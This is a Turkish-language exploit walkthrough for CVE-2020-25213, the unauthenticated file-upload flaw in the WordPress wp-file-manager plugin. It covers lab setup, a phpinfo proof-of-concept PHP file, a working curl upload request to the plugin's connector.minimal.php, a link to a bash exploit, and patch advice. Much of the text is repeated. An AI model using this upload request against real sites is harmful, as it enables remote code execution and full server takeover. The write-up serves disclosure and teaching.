Güvenlik Açığı Hakkında :
CVE-2020–25213 : WordPress için 6.9'dan önceki Dosya Yöneticisi (wp-file-manager) eklentisi, güvenli olmayan bir örnek elFinder bağlayıcı dosyasını .php uzantısına sahip olacak şekilde yeniden adlandırdığından, uzaktaki saldırganların rastgele PHP kodu yüklemesine ve yürütmesine olanak tanır. Bu, örneğin, saldırganların wp-content/plugins/wp-file-manager/lib/files/ dizinine PHP kodu yazmak için elFinder upload (veya mkfile and put) komutunu çalıştırmasına izin verir.
CVSS: 9.8
CVSS: 9.8
Ne oldu ?
Ağustos ayının son haftasında bu güvenlik açığı sıfır gün olarak kullanılmaya başlandı. 1 Eylül'de eklenti geliştiricileri güvenlik açığını düzeltti ve 6.9 sürümünü yayınladı. Yama yayınlandıktan sonra, wordfence , seravo ve diğerleri gibi çeşitli kuruluşlar, wp-file-manager zero day'ın ayrıntılarını ve vahşi ortamda nasıl kullanıldığını açıklayan bloglar yayınladı.
Ortamı Kurma
- Sanal makineye (veya yerel ana bilgisayara) wordpress yükleyin. Ubuntu üzerinde wordpress kurulumu için bu siteye başvurabilirsiniz .
2. Savunmasız wp-file-manager eklentisini (sürüm 6.0) buradan indirin ve kurun .
3. elFinder'ı kurun [isteğe bağlı]
3. elFinder'ı kurun [isteğe bağlı]
İstismar Oluşturma
wp-file-manager eklentisi tarafından kullanılan elFinder kitaplığının /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php dosyası , herhangi bir uzantıya sahip (kimliği doğrulanmamış) rastgele dosya yüklemekten sorumluydu.
ElFinder'ın bir dosyayı nasıl yüklediğini anlamak için önce elFinder'ı localhost'ta indirip yapılandıralım.
/elFinder.html ziyaret edildiğinde , dosya yükleme seçeneği de dahil olmak üzere dosya yöneticisi menüsü gösterilir:
Şimdi /elFinder/php/connector.minimal.php dosyasını /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [wordress sitemizdeki eklenti konumu] ile değiştireceğiz ve dosyayı yükleyip yükleyemeyeceğimize bakacağız.
Dosyayı harika bir şekilde yükleyebiliyoruz!! Bu, artık herhangi bir isteğe bağlı uzantıya sahip herhangi bir dosyayı yükleyebileceğimiz anlamına gelir.
Php dosyasını yüklemek için, yukarıdaki istekte (URL'yi değiştirdikten sonra) dosya adını poc_PHPinfo.php olarak ve içeriğini de değiştirmeliyiz.
& Evet!! PHP dosyası yüklendi ve URL, dosyanın yüklendiği yerde yanıt olarak da gösteriliyor.
Yüklenen dosya şu adreste bulunabilir:
Yukarıdaki payload isteğinin brup request yükü:
Burada /root/poc_PHPinfo.php dosyası sunucuya yüklemek istediğimiz rastgele bir dosya ile değiştirilebilir.
NOT: Bazı durumlarda php dosyaları güvenlik duvarları tarafından engellenir, bu nedenle güvenlik açığını doğrulamak için önce txt dosyasını yüklemek daha iyidir.
Ayrıca, yüklenen dosyaya kimliği doğrulanmamış herhangi bir kullanıcı tarafından erişilebileceğini (& php durumunda yürütülür) unutmayın, bu nedenle dosyaları yüklerken dikkatli olun.
Benim tarafımdan oluşturulan Bash Exploit kodu:
github.com
Bu güvenlik açığından yararlanan bir saldırgan, php dosyalarını yükleyebilir ve herhangi bir kimlik doğrulaması olmadan dosyaları hedef üzerinde çalıştırabilir ve bu da makinenin tamamen ele geçirilmesine yol açar. (CVSS: 9.8).
wp-file-manager 600.000'den fazla aktif kuruluma sahiptir ve bunlardan yalnızca %53,3'ü bu yazıyı yazarken en son eklenti sürümü 6.9'a yükseltmiştir.
Yama
Satıcı sitesinden wp-file-manager'ın en son sürümüne (sürüm ≥6.9) yükseltin .
Kaynaklarım
ElFinder'ın bir dosyayı nasıl yüklediğini anlamak için önce elFinder'ı localhost'ta indirip yapılandıralım.
Kod:
git clone https://github.com/Studio-42/elFinder.git
mv elFinder/php/connector.minimal.php-dist elFinder/php/connector.minimal.php
chown -R www-data:www-data elFinder/
/elFinder.html ziyaret edildiğinde , dosya yükleme seçeneği de dahil olmak üzere dosya yöneticisi menüsü gösterilir:
Şimdi /elFinder/php/connector.minimal.php dosyasını /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [wordress sitemizdeki eklenti konumu] ile değiştireceğiz ve dosyayı yükleyip yükleyemeyeceğimize bakacağız.
Dosyayı harika bir şekilde yükleyebiliyoruz!! Bu, artık herhangi bir isteğe bağlı uzantıya sahip herhangi bir dosyayı yükleyebileceğimiz anlamına gelir.
Php dosyasını yüklemek için, yukarıdaki istekte (URL'yi değiştirdikten sonra) dosya adını poc_PHPinfo.php olarak ve içeriğini de değiştirmeliyiz.
Kod:
<?php
echo “POC By Time4ster”;
phpinfo();
?>
& Evet!! PHP dosyası yüklendi ve URL, dosyanın yüklendiği yerde yanıt olarak da gösteriliyor.
Yüklenen dosya şu adreste bulunabilir:
Yukarıdaki payload isteğinin brup request yükü:
Kod:
curl -ks — max-time 5 — user-agent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36” -F “reqid=17457a1fe6959” -F “cmd=upload” -F “target=l1_Lw” -F “mtime[]=1576045135” -F “upload[]=@//root/poc_PHPinfo.php” “http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
Burada /root/poc_PHPinfo.php dosyası sunucuya yüklemek istediğimiz rastgele bir dosya ile değiştirilebilir.
NOT: Bazı durumlarda php dosyaları güvenlik duvarları tarafından engellenir, bu nedenle güvenlik açığını doğrulamak için önce txt dosyasını yüklemek daha iyidir.
Ayrıca, yüklenen dosyaya kimliği doğrulanmamış herhangi bir kullanıcı tarafından erişilebileceğini (& php durumunda yürütülür) unutmayın, bu nedenle dosyaları yüklerken dikkatli olun.
Benim tarafımdan oluşturulan Bash Exploit kodu:
GitHub - mansoorr123/wp-file-manager-CVE-2020-25213: https://medium.com/@mansoorr/exploiting-cve-2020-25213-wp-file-manager-wordpress-plugin-6-9-3f79241f0cd8
https://medium.com/@mansoorr/exploiting-cve-2020-25213-wp-file-manager-wordpress-plugin-6-9-3f79241f0cd8 - mansoorr123/wp-file-manager-CVE-2020-25213
Bu güvenlik açığından yararlanan bir saldırgan, php dosyalarını yükleyebilir ve herhangi bir kimlik doğrulaması olmadan dosyaları hedef üzerinde çalıştırabilir ve bu da makinenin tamamen ele geçirilmesine yol açar. (CVSS: 9.8).
wp-file-manager 600.000'den fazla aktif kuruluma sahiptir ve bunlardan yalnızca %53,3'ü bu yazıyı yazarken en son eklenti sürümü 6.9'a yükseltmiştir.
Yama
Satıcı sitesinden wp-file-manager'ın en son sürümüne (sürüm ≥6.9) yükseltin .
Kaynaklarım
- infosecwriteups
-

